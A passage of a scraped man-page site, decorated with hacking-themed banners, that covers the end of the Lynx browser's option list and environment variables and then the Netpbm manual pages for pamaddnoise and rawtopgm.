with -traversal, output each page to a file. with -dump, format output as with -traversal, but to the standard output.

-curses_pads
toggles the use of curses pad feature which supports left/right scrolling of the display. The feature is normally available for curses configurations, but inactive. To activate it, use the | character or the LINEWRAP_TOGGLE command. Toggling this option makes the feature altogether unavailable.

-debug_partial
separate incremental display stages with MessageSecs delay

-default_colors
toggles the default-colors feature which is normally set in the lynx.cfg file.

-delay
add DebugSecs delay after each progress-message

-display=DISPLAY
set the display variable for X rexec-ed programs.

-display_charset=MIMEname
set the charset for the terminal output.

-dont_wrap_pre
inhibit wrapping of text when -dump‘ing and -crawl‘ing, mark wrapped lines of <pre> in interactive session.

-dump
dumps the formatted output of the default document or those specified on the command line to standard output. Unlike interactive mode, all documents are processed. This can be used in the following way:

lynx -dump http://www.subir.com/lynx.html

Files specified on the command line are formatted as HTML if their names end with one of the standard web suffixes such as .htm or .html. Use the -force_html option to format files whose names do not follow this convention.

-editor=EDITOR
enable external editing, using the specified EDITOR. (vi, ed, emacs, etc.)

-emacskeys
enable emacs-like key movement.

-enable_scrollback
toggles compatibility with communication programs’ scrollback keys (may be incompatible with some curses packages).

-error_file=FILE
define a file where Lynx will report HTTP access codes.

-exec
enable local program execution (normally not configured).

-fileversions
include all versions of files in local VMS directory listings.

-find_leaks
toggle memory leak-checking. Normally this is not compiled-into your executable, but when it is, it can be disabled for a session.

-force_empty_hrefless_a
force HREF-less A elements to be empty (close them as soon as they are seen).

-force_html
forces the first document to be interpreted as HTML.

This is most useful when processing files specified on the command line which have an unrecognized suffix (or the suffix is associated with a non-HTML type, such as .txt for plain text files).

Lynx recognizes these file suffixes as HTML:

.ht3,
.htm,
.html3,
.html,
.htmlx,
.php3,
.php,
.phtml,
.sht, and
.shtml.

-force_secure
toggles forcing of the secure flag for SSL cookies.

-forms_options
toggles whether the Options Menu is key-based or form-based.

-from
toggles transmissions of From headers.

-ftp
disable ftp access.

-get_data
properly formatted data for a get form are read in from the standard input and passed to the form. Input is terminated by a line that starts with —.

Lynx issues an HTTP GET*,* sending the form to the path or URL given on the command-line and prints the response of the server. If no path or URL is given, Lynx sends the form to the start-page.

-head
send a HEAD request for the mime headers.

-help
print the Lynx command syntax usage message, and exit.

-hiddenlinks=[option]
control the display of hidden links.

merge
hidden links show up as bracketed numbers and are numbered together with other links in the sequence of their occurrence in the document.

listonly
hidden links are shown only on L)ist screens and listings generated by -dump or from the P)rint menu, but appear separately at the end of those lists. This is the default behavior.

ignore
hidden links do not appear even in listings.

-historical
toggles use of > or –> as a terminator for comments.

-homepage=URL
set homepage separate from start page.

-image_links
toggles inclusion of links for all images.

-index=URL
set the default index file to the specified URL.

-ismap
toggles inclusion of ISMAP links when client-side MAPs are present.

-justify
do justification of text.

-link=NUMBER
starting count for lnk#.dat files produced by -crawl.

-list_decoded
for -dump, show URL-encoded links decoded.

-list_inline
for -dump, show the links inline with the text.

-listonly
for -dump, show only the list of links.

-localhost
disable URLs that point to remote hosts.

-locexec
enable local program execution from local files only (if Lynx was compiled with local execution enabled).

-lss=FILENAME
specify filename containing color-style information. The default is lynx.lss. If you give an empty filename, Lynx uses a built-in monochrome scheme which imitates the non-color-style configuration.

-mime_header
prints the MIME header of a fetched document along with its source.

-minimal
toggles minimal versus valid comment parsing.

-nested_tables
toggles nested-tables logic (for debugging).

-newschunksize=NUMBER
number of articles in chunked news listings.

-newsmaxchunk=NUMBER
maximum news articles in listings before chunking.

-nobold
disable bold video-attribute.

-nobrowse
disable directory browsing.

-nocc
disable Cc: prompts for self copies of mailings. Note that this does not disable any CCs which are incorporated within a mailto URL or form ACTION.

-nocolor
force color mode off, overriding terminal capabilities and any -color flags, COLORTERM variable, and saved .lynxrc settings.

-noexec
disable local program execution. (DEFAULT)

-nofilereferer
disable transmissions of Referer headers for file URLs.

-nolist
disable the link list feature in dumps.

-nolog
disable mailing of error messages to document owners.

-nomargins
disable left/right margins in the default style sheet.

-nomore
disable -more- string in statusline messages.

-nonrestarting_sigwinch
This flag is not available on all systems, Lynx needs to be compiled with HAVE_SIGACTION defined. If available, this flag may cause Lynx to react more immediately to window changes when run within an xterm.

-nonumbers
disable link- and field-numbering. This overrides -number_fields and -number_links.

-nopause
disable forced pauses for statusline messages.

-noprint
disable most print functions.

-noredir
prevents automatic redirection and prints a message with a link to the new URL.

-noreferer
disable transmissions of Referer headers.

-noreverse
disable reverse video-attribute.

-nosocks
disable SOCKS proxy usage by a SOCKSified Lynx.

-nostatus
disable the retrieval status messages.

-notitle
disable title and blank line from top of page.

-nounderline
disable underline video-attribute.

-number_fields
force numbering of links as well as form input fields

-number_links
force numbering of links.

-partial
toggles display partial pages while loading.

-partial_thres=NUMBER
number of lines to render before repainting display with partial-display logic

-passive_ftp
toggles passive ftp connections.

-pauth=ID:PASSWD
set authorization ID and password for a protected proxy server at startup. Be sure to protect any script files which use this switch.

-popup
toggles handling of single-choice SELECT options via popup windows or as lists of radio buttons.

-post_data
properly formatted data for a post form are read in from the standard input and passed to the form. Input is terminated by a line that starts with —.

Lynx issues an HTTP POST*,* sending the form to the path or URL given on the command-line and prints the response of the server. If no path or URL is given, Lynx sends the form to the start-page.

-preparsed
show HTML source preparsed and reformatted when used with -source or in source view.

-prettysrc
show HTML source view with lexical elements and tags in color.

-print
enable print functions. (default)

-pseudo_inlines
toggles pseudo-ALTs for inline images with no ALT string.

-raw
toggles default setting of 8-bit character translations or CJK mode for the startup character set.

-realm
restricts access to URLs in the starting realm.

-read_timeout=N
Sets the read-timeout, where N is given in seconds.

-reload
flushes the cache on a proxy server (only the first document given on the command-line is affected).

-restrictions=[option][,option][,option]…
allows a list of services to be disabled selectively. Dashes and underscores in option names can be intermixed. The following list is printed if no options are specified.

all
restricts all options listed below.

bookmark
disallow changing the location of the bookmark file.

bookmark_exec
disallow execution links via the bookmark file.

change_exec_perms
disallow changing the eXecute permission on files (but still allow it for directories) when local file management is enabled.

default
same as command line option -anonymous. Disables default services for anonymous users. Set to all restricted, except for: inside_telnet, outside_telnet, inside_ftp, outside_ftp, inside_rlogin, outside_rlogin, inside_news, outside_news, telnet_port, jump, mail, print, exec, and goto. The settings for these, as well as additional goto restrictions for specific URL schemes that are also applied, are derived from definitions within userdefs.h.

dired_support
disallow local file management.

disk_save
disallow saving to disk in the download and print menus.

dotfiles
disallow access to, or creation of, hidden (dot) files.

download
disallow some downloaders in the download menu (does not imply disk_save restriction).

editor
disallow external editing.

exec
disable execution scripts.

exec_frozen
disallow the user from changing the local execution option.

externals
disallow some EXTERNAL configuration lines if support for passing URLs to external applications (with the EXTERN command) is compiled in.

file_url
disallow using G)oto, served links or bookmarks for file: URLs.

goto
disable the g (goto) command.

inside_ftp
disallow ftps for people coming from inside your domain (utmp required for selectivity).

inside_news
disallow USENET news posting for people coming from inside your domain (utmp required for selectivity).

inside_rlogin
disallow rlogins for people coming from inside your domain (utmp required for selectivity).

inside_telnet
disallow telnets for people coming from inside your domain (utmp required for selectivity).

jump
disable the j (jump) command.

multibook
disallow multiple bookmarks.

mail
disallow mail.

news_post
disallow USENET News posting.

options_save
disallow saving options in .lynxrc.

outside_ftp
disallow ftps for people coming from outside your domain (utmp required for selectivity).

outside_news
disallow USENET news reading and posting for people coming from outside your domain (utmp required for selectivity). This restriction applies to news, nntp, newspost, and newsreply URLs, but not to snews, snewspost, or snewsreply in case they are supported.

outside_rlogin
disallow rlogins for people coming from outside your domain (utmp required for selectivity).

outside_telnet
disallow telnets for people coming from outside your domain (utmp required for selectivity).

print
disallow most print options.

shell
disallow shell escapes and lynxexec or lynxprog G)oto’s.

suspend
disallow Unix Control-Z suspends with escape to shell.

telnet_port
disallow specifying a port in telnet G)oto’s.

useragent
disallow modifications of the User-Agent header.

-resubmit_posts
toggles forced resubmissions (no-cache) of forms with method POST when the documents they returned are sought with the PREV_DOC command or from the History List.

-rlogin
disable recognition of rlogin commands.

-scrollbar
toggles showing scrollbar.

-scrollbar_arrow
toggles showing arrows at ends of the scrollbar.

-selective
require .www_browsable files to browse directories.

-session=FILENAME
resumes from specified file on startup and saves session to that file on exit.

-sessionin=FILENAME
resumes session from specified file.

-sessionout=FILENAME
saves session to specified file.

-short_url
show very long URLs in the status line with … to represent the portion which cannot be displayed. The beginning and end of the URL are displayed, rather than suppressing the end.

-show_cfg
Print the configuration settings, e.g., as read from lynx.cfg, and exit.

-show_cursor
If enabled the cursor will not be hidden in the right hand corner but will instead be positioned at the start of the currently selected link. Show cursor is the default for systems without FANCY_CURSES capabilities. The default configuration can be changed in userdefs.h or lynx.cfg. The command line switch toggles the default.

-show_rate
If enabled the transfer rate is shown in bytes/second. If disabled, no transfer rate is shown. Use lynx.cfg or the options menu to select KB/second and/or ETA.

-socks5_proxy=URL
(Via which) SOCKS5 proxy to connect: any network traffic, including all DNS resolutions but the one for URL itself, will be redirected through the SOCKS5 proxy. URL may be given as proxy.example.com, proxy.example.com:1080, 192.168.0.1, or 192.168.0.1:1080 (and IPv6 notation if so supported). A SOCKS5 proxy may also be specified via the environment variable SOCKS5_PROXY. This option controls the builtin SOCKS5 support, which is unrelated to the option -nosocks*.*

-soft_dquotes
toggles emulation of the old Netscape and Mosaic bug which treated > as a co-terminator for double-quotes and tags.

-source
works the same as dump but outputs HTML source instead of formatted text. For example

lynx -source . >foo.html

generates HTML source listing the files in the current directory. Each file is marked by an HREF relative to the parent directory. Add a trailing slash to make the HREF’s relative to the current directory:

lynx -source ./ >foo.html

-stack_dump
disable SIGINT cleanup handler

-startfile_ok
allow non-http startfile and homepage with -validate.

-stderr
When dumping a document using -dump or -source, Lynx normally does not display alert (error) messages that you see on the screen in the status line. Use the -stderr option to tell Lynx to write these messages to the standard error.

-stdin
read the startfile from standard input (UNIX only).

-syslog=text
information for syslog call.

-syslog_urls
log requested URLs with syslog.

-tagsoup
initialize parser, using Tag Soup DTD rather than SortaSGML.

-telnet
disable recognition of telnet commands.

-term=TERM
tell Lynx what terminal type to assume it is talking to. (This may be useful for remote execution, when, for example, Lynx connects to a remote TCP/IP port that starts a script that, in turn, starts another Lynx process.)

-timeout=N
For win32, sets the network read-timeout, where N is given in seconds.

-tlog
toggles between using a Lynx Trace Log and stderr for trace output from the session.

-tna
turns on Textfields Need Activation mode.

-trace
turns on Lynx trace mode. Destination of trace output depends on -tlog.

-trace_mask=value
turn on optional traces, which may result in very large trace files. Logically OR the values to combine options:

1
SGML character parsing states

2
color-style

4
TRST (table layout)

8
configuration (lynx.cfg, .lynxrc, .lynx-keymaps, mime.types and mailcap contents)

16
binary string copy/append, used in form data construction.

32
cookies

64
character sets

128
GridText parsing

256
timing

512
detailed URL parsing

-traversal
traverse all http links derived from startfile. When used with -crawl, each link that begins with the same string as startfile is output to a file, intended for indexing.

See CRAWL.announce for more information.

-trim_blank_lines
toggles trimming of trailing blank lines as well as the related trimming of blank lines while collapsing BR tags.

-trim_input_fields
trim input text/textarea fields in forms.

-underline_links
toggles use of underline/bold attribute for links.

-underscore
toggles use of _underline_ format in dumps.

-unique_urls
check for duplicate link numbers in each page and corresponding lists, and reuse the original link number.

-update_term_title
enables updating the title in terminal emulators. Use only if your terminal emulator supports that escape code. Has no effect when used with -notitle.

-use_mouse
turn on mouse support, if available. Clicking the left mouse button on a link traverses it. Clicking the right mouse button pops back. Click on the top line to scroll up. Click on the bottom line to scroll down. The first few positions in the top and bottom line may invoke additional functions. Lynx must be compiled with ncurses or slang to support this feature. If ncurses is used, clicking the middle mouse button pops up a simple menu. Mouse clicks may only work reliably while Lynx is idle waiting for input.

-useragent=Name
set alternate Lynx User-Agent header.

-validate
accept only http URLs (for validation). Complete security restrictions also are implemented.

-verbose
toggle [LINK], [IMAGE] and [INLINE] comments with filenames of these images.

-version
print version information, and exit.

-vikeys
enable vi-like key movement.

-wdebug
enable Waterloo tcp/ip packet debug (print to watt debugfile). This applies only to DOS versions compiled with WATTCP or WATT-32.

-width=NUMBER
number of columns for formatting of dumps, default is 80. This is limited by the number of columns that Lynx could display, typically 1024 (the MAX_LINE symbol).

-with_backspaces
emit backspaces in output if -dump‘ing or -crawl‘ing (like man does)

-xhtml_parsing
tells Lynx that it can ignore certain tags which have no content in an XHTML 1.0 document. For example <p/> will be discarded.

COMMANDS

More than one key can be mapped to a given command. Here are some of the most useful:

  • Use Up arrow and Down arrow to scroll through hypertext links.

  • Right arrow or Return will follow a highlighted hypertext link.

  • Left Arrow or u will retreat from a link.

  • Type H, ?, or F1 for online help and descriptions of key-stroke commands.

  • Type k or K for a list of the current key-stroke command mappings.

    If the same command is mapped to the same letter differing only by upper/lowercase only the lowercase mapping is shown.

  • Type Delete to view history list.

ENVIRONMENT

In addition to various standard environment variables such as DISPLAY, HOME, PATH, SHELL, TMPDIR, USER, etc., Lynx utilizes several Lynx-specific environment variables, if they exist.

Others may be created or modified by Lynx to pass data to an external program, or for other reasons. These are listed separately below.

See also the sections on SIMULATED CGI SUPPORT and NATIVE LANGUAGE SUPPORT, below.

Note: Not all environment variables apply to all types of platforms supported by Lynx, though most do. Feedback on platform dependencies is solicited.

Environment Variables Used By Lynx:

COLORTERM
If set, color capability for the terminal is forced on at startup time. The actual value assigned to the variable is ignored. This variable is only meaningful if Lynx was built using the slang screen-handling library.

LYNX_CFG
This variable, if set, will override the default location and name of the global configuration file (normally, lynx.cfg) that was defined by the LYNX_CFG_FILE constant in the userdefs.h file, during installation.

See the userdefs.h file for more information.

LYNX_CFG_PATH
If set, this variable overrides the compiled-in search-list of directories used to find the configuration files, e.g., lynx.cfg and lynx.lss. The list is delimited with “:” (or “;” for Windows) like the PATH environment variable.

LYNX_HELPFILE
If set, this variable overrides the compiled-in URL and configuration file URL for the Lynx help file.

LYNX_LOCALEDIR
If set, this variable overrides the compiled-in location of the locale directory which contains native language (NLS) message text.

LYNX_LSS
This variable, if set, specifies the location of the default Lynx character style sheet file. [Currently only meaningful if Lynx was built using curses color style support.]

LYNX_SAVE_SPACE
This variable, if set, will override the default path prefix for files saved to disk that is defined in the lynx.cfg SAVE_SPACE: statement.

See the lynx.cfg file for more information.

LYNX_TEMP_SPACE
This variable, if set, will override the default path prefix for temporary files that was defined during installation, as well as any value that may be assigned to the TMPDIR variable.

MAIL
This variable specifies the default inbox Lynx will check for new mail, if such checking is enabled in the lynx.cfg file.

NEWS_ORGANIZATION
This variable, if set, provides the string used in the Organization: header of USENET news postings. It will override the setting of the ORGANIZATION environment variable, if it is also set (and, on UNIX, the contents of an /etc/organization file, if present).

NNTPSERVER
If set, this variable specifies the default NNTP server that will be used for USENET news reading and posting with Lynx, via news: URL’s.

ORGANIZATION
This variable, if set, provides the string used in the Organization: header of USENET news postings. On UNIX, it will override the contents of an /etc/organization file, if present.

PROTOCOL*_proxy***
Lynx supports the use of proxy servers that can act as firewall gateways and caching servers. They are preferable to the older gateway servers (see WWW_access_GATEWAY, below).

Each protocol used by Lynx, (http, ftp, gopher, etc), can be mapped separately by setting environment variables of the form PROTOCOL_proxy. Protocols are indicated in a URI by the name before :, e.g., http in http://some.server.dom:port/ for HTML.

Depending on your system configuration and supported protocols, the environment variables recognized by lynx may include

cso_proxy
finger_proxy
ftp_proxy
gopher_proxy
http_proxy
https_proxy
news_proxy
newspost_proxy
newsreply_proxy
nntp_proxy
no_proxy
rlogin_proxy
snews_proxy
snewspost_proxy
snewsreply_proxy
telnet_proxy
tn3270_proxy
wais_proxy

See Lynx Users Guide for additional details and examples.

RL_CLCOPY_CMD
Pipe the contents of the current link using this command as the target.

RL_PASTE_CMD
Open a pipe to read from this command, pasting it into the current editable-field or command-prompt.

SOCKS5_PROXY
Is inspected if -socks5_proxy has not been used (for the same content).

SSL_CERT_DIR
Set to the directory containing trusted certificates.

SSL_CERT_FILE
Set to the full path and filename for your file of trusted certificates.

WWW_access_GATEWAY****
Lynx still supports use of gateway servers, with the servers specified via WWW_access_GATEWAY variables (where access is lower case and can be http, ftp, gopher or wais). However most gateway servers have been discontinued. Note that you do not include a terminal / for gateways, but do for proxies specified by PROTOCOL_proxy environment variables.

See Lynx Users Guide for details.

WWW_HOME
This variable, if set, will override the default startup URL specified in any of the Lynx configuration files.

Environment Variables Set or Modified By Lynx:

LYNX_PRINT_DATE
This variable is set by the Lynx p(rint) function, to the Date: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No Date under VMS.

LYNX_PRINT_LASTMOD
This variable is set by the Lynx p(rint) function, to the Last Mod: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No LastMod under VMS.

LYNX_PRINT_TITLE
This variable is set by the Lynx p(rint) function, to the Linkname: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No Title under VMS.

LYNX_PRINT_URL
This variable is set by the Lynx p(rint) function, to the URL: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No URL under VMS.

LYNX_TRACE
If set, causes Lynx to write a trace file as if the -trace option were supplied.

LYNX_TRACE_FILE
If set, overrides the compiled-in name of the trace file, which is either Lynx.trace or LY-TRACE.LOG (the latter on the DOS/Windows platforms). The trace file is in either case relative to the home directory.

LYNX_VERSION
This variable is always set by Lynx, and may be used by an external program to determine if it was invoked by Lynx.

See also the comments in the distribution’s sample mailcap file, for notes on usage in such a file.

TERM
Normally, this variable is used by Lynx to determine the terminal type being used to invoke Lynx. If, however, it is unset at startup time (or has the value unknown), or if the -term command-line option is used (see OPTIONS section above), Lynx will set or modify its value to the user specified terminal type (for the Lynx execution environment). Note: If set/modified by Lynx, the values of the LINES and/or COLUMNS environment variables may also be changed.

Simulated CGI Support

If built with the cgi-links option enabled, Lynx allows access to a cgi script directly without the need for an http daemon.

When executing such lynxcgi scripts (if enabled), the following variables may be set for simulating a CGI environment:

CONTENT_LENGTH

CONTENT_TYPE

DOCUMENT_ROOT

HTTP_ACCEPT_CHARSET

HTTP_ACCEPT_LANGUAGE

HTTP_USER_AGENT

PATH_INFO

PATH_TRANSLATED

QUERY_STRING

REMOTE_ADDR

REMOTE_HOST

REQUEST_METHOD

SERVER_SOFTWARE

Other environment variables are not inherited by the script, unless they are provided via a LYNXCGI_ENVIRONMENT statement in the configuration file. See the lynx.cfg file, and the (draft) CGI 1.1 Specification <http://Web.Golux.Com/coar/cgi/draft-coar-cgi-v11-00.txt> for the definition and usage of these variables.

The CGI Specification, and other associated documentation, should be consulted for general information on CGI script programming.

Native Language Support

If configured and installed with Native Language Support, Lynx will display status and other messages in your local language. See the file ABOUT_NLS in the source distribution, or at your local GNU site, for more information about internationalization.

The following environment variables may be used to alter default settings:

LANG
This variable, if set, will override the default message language. It is an ISO 639 two-letter code identifying the language. Language codes are NOT the same as the country codes given in ISO 3166.

LANGUAGE
This variable, if set, will override the default message language. This is a GNU extension that has higher priority for setting the message catalog than LANG or LC_ALL.

LC_ALL
and

LC_MESSAGES
These variables, if set, specify the notion of native language formatting style. They are POSIXly correct.

LINGUAS
This variable, if set prior to configuration, limits the installed languages to specific values. It is a space-separated list of two-letter codes. Currently, it is hard-coded to a wish list.

NLSPATH
This variable, if set, is used as the path prefix for message catalogs.

NOTES

Mailing Lists

If you wish to contribute to the further development of Lynx, subscribe to our mailing list. Send email to <[email protected]> with subscribe lynx-dev as the only line in the body of your message.

Send bug reports, comments, suggestions to <[email protected]> after subscribing.

Unsubscribe by sending email to <[email protected]> with unsubscribe lynx-dev as the only line in the body of your message. Do not send the unsubscribe message to the lynx-dev list, itself.

Acknowledgments

Lynx has incorporated code from a variety of sources along the way. The earliest versions of Lynx included code from Earl Fogel of Computing Services at the University of Saskatchewan, who implemented HYPERREZ in the Unix environment. HYPERREZ was developed by Niel Larson of Think.com and served as the model for the early versions of Lynx. Those versions also incorporated libraries from the Unix Gopher clients developed at the University of Minnesota, and the later versions of Lynx rely on the WWW client library code developed by Tim Berners-Lee and the WWW community. Also a special thanks to Foteos Macrides who ported much of Lynx to VMS and did or organized most of its development since the departures of Lou Montulli and Garrett Blythe from the University of Kansas in the summer of 1994 through the release of v2.7.2, and to everyone on the net who has contributed to Lynx’s development either directly (through patches, comments or bug reports) or indirectly (through inspiration and development of other systems).

AUTHORS

Lou Montulli, Garrett Blythe, Craig Lavender, Michael Grobe, Charles Rezac
Academic Computing Services
University of Kansas
Lawrence, Kansas 66047

Foteos Macrides
Worcester Foundation for Biomedical Research
Shrewsbury, Massachusetts 01545

Thomas E. Dickey
<[email protected]>

SEE ALSO

catgets(3), curses(3), environ(7), ftp(1), gettext(GNU), localeconv(3), ncurses(3), setlocale(3), termcap(5), terminfo(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1073 - Linux cli command pamaddnoise

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamaddnoise and provides detailed information about the command pamaddnoise, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamaddnoise.

.

NAME 🖥️ pamaddnoise 🖥️

add noise to a Netpbm image

SYNOPSIS

pamaddnoise { [-type gaussian]

[-sigma1 value]

[-sigma2 value] | -type multiplicative_gaussian

[-mgsigma value] | -type impulse

[-tolerance ratio] | -type laplacian

[-lsigma value] | -type poisson

[-lambda value] } [-seed int]

[netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamaddnoise adds the specified noise type to a Netpbm image. pamaddnoise treats a PPM image as 3 independent planes, not as a plane of colors in a color space.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamaddnoise recognizes the following command line options:

-type noise_type
Select type of noise by name. The following noise types are available: gaussian, multiplicative_gaussian, impulse, laplacian, poisson. Only enough letters to be unique are required for the noise type option. The default noise type is gaussian.

gaussian
To each sample value is added the value of a two Gaussian random variables. The variance of one is independent of the sample value, while the variance of the other is proportional to the sample value. You control these variances with options -sigma1 and -sigma2 (and can eliminate either by setting the variance to 0). The mean of the Gaussian distributions is 0.

multiplicative_gaussian
impulse
This is ‘salt and pepper’ noise. Samples are changed randomly to zero or full brightness or left alone. This is also know as salt and pepper noise, as in a grayscale picture, it adds white pixels and black pixels, which look like salt and pepper, respectively. Control this with options -tolerance and -salt.

laplacian
poisson
-lambda value
This is valid only with -type=poisson. It is the expected value of the Poisson distribution for a sample value of maximum intensity. The expected value for other intensities is proportional; e.g. for half intensity, it is half this value.

The default value is 12.

-lsigma value
This is meaningful only for laplacian noise.

The default value is 10.0.

-mgsigma value
This is valid only for multiplicative gaussian noise.

The default value is 0.5.

-seed int
This is the random number generator seed value. Use this to get repeatable results.

-sigma1 value
This is valid only for gaussian noise. It is the standard deviation of the Gaussian random variable that is multiplied by the square root of each sample value and added to that sample value.

The default value is 4.0.

-sigma2 value
This is valid only for gaussian noise. It is the standard deviation of the Gaussian random variable that is added directly to each sample value.

The default value is 20.0.

-tolerance fraction
This is valid only for impulse noise. fraction is the fraction of samples that are changed in the output. Whether each is changed to salt or pepper is controlled by -salt.

The default value is 0.10.

**-salt=**fraction
This is valid only for impulse noise. fraction is the fraction of the pixels that are changed that are changed to salt (maxval); the rest are changed to pepper (0).

The default is 0.5 (half salt, half pepper).

This option was new in Netpbm 11.04 (September 2023). Before that, the noise is always half salt and half pepper.

REFERENCES

  • “Adaptive Image Restoration in Signal-Dependent Noise” by R. Kasturi Institute for Electronic Science, Texas Tech University, 1982

  • “Digital Image Processing Algorithms” by Ioannis Pitas, Prentice Hall, 1993 ISBN 0-13-145814-0

SEE ALSO

pgmnoise(1) , pgmmedian(1) , pnm(1) , pam(1) ,

HISTORY

pamaddnoise was added to Netpbm in Version 10.29 (August 2005). It had been distributed by Mike Burns via his own web site before that (and continued to be so).

Burns’ version, and the one in Netpbm 10.29, was called pnmaddnoise and worked only on PNM images. In Netpbm 10.30, it was converted to handle PAM images and renamed to pamaddnoise*.*

AUTHOR

Copyright (C) 1995 by Mike Burns <[email protected]>

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamaddnoise.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1074 - Linux cli command rawtopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rawtopgm and provides detailed information about the command rawtopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rawtopgm.

.

NAME 🖥️ rawtopgm 🖥️

convert raw grayscale bytes to a PGM image

SYNOPSIS

rawtopgm

[-bpp [1|2]]

[-littleendian]

[-maxval N]

[-headerskip N]

[-rowskip N]

[-tb|-topbottom]

[width height]

[imagefile]

DESCRIPTION

This program is part of Netpbm(1) .

rawtopgm reads raw grayscale values as input and produces a PGM image as output. The input file is just a sequence of pure binary numbers, either one or two bytes each, either bigendian or littleendian, representing gray values. They may be arranged either top to bottom, left to right or bottom to top, left to right. There may be arbitrary header information at the start of the file (to which rawtopgm pays no attention at all other than the header’s size).

Arguments to rawtopgm tell how to interpret the pixels (a function that is served by a header in a regular graphics format).

The width and height parameters tell the dimensions of the image. If you omit these parameters, rawtopgm assumes it is a quadratic image and bases the dimensions on the size of the input stream. If this size is not a perfect square, rawtopgm fails.

When you don’t specify width and height, rawtopgm reads the entire input stream into storage at once, which may take a lot of storage. Otherwise, rawtopgm ordinarily stores only one row at a time.

If you don’t specify imagefile, or specify -, the input is from Standard Input.

The PGM output is to Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), rawtopgm recognizes the following command line options:

-maxval N
N is the maxval for the gray values in the input, and is also the maxval of the PGM output image. The default is the maximum value that can be represented in the number of bytes used for each sample (i.e. 255 or 65535).

-bpp [1|2]
tells the number of bytes that represent each sample in the input. If the value is 2, The most significant byte is first in the stream.

The default is 1 byte per sample.

-littleendian
says that the bytes of each input sample are ordered with the least significant byte first. Without this option, rawtopgm assumes MSB first. This obviously has no effect when there is only one byte per sample.

-headerskip N
rawtopgm skips over N bytes at the beginning of the stream and reads the image immediately after. The default is 0.

This is useful when the input is actually some graphics format that has a descriptive header followed by an ordinary raster, and you don’t have a program that understands the header or you want to ignore the header.

-rowskip N
If there is padding at the ends of the rows, you can skip it with this option. Note that rowskip need not be an integer. Amazingly, I once had an image with 0.376 bytes of padding per row. This turned out to be due to a file-transfer problem, but I was still able to read the image.

Skipping a fractional byte per row means skipping one byte per multiple rows.

-bt -bottomfirst
By default, rawtopgm assumes the pixels in the input go top to bottom, left to right. If you specify -bt or -bottomfirst, rawtopgm assumes the pixels go bottom to top, left to right. The Molecular Dynamics and Leica confocal format, for example, use the latter arrangement.

If you don’t specify -bt when you should or vice versa, the resulting image is upside down, which you can correct with pamflip.

This option causes rawtopgm to read the entire input stream into storage at once, which may take a lot of storage. Normally, rawtopgm stores only one row at a time.

For backwards compatibility, rawtopgm also accepts -tb and -topbottom to mean exactly the same thing. The reasons these are named backwards is that the original author thought of it as specifying that the wrong results of assuming the data is top to bottom should be corrected by flipping the result top for bottom. Today, we think of it as simply specifying the format of the input data so that there are no wrong results.

SEE ALSO

pgm(1) , rawtoppm(1) , pamflip(1)

AUTHORS

Copyright (C) 1989 by Jef Poskanzer. Modified June 1993 by Oliver Trepte, [email protected]

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/rawtopgm.html

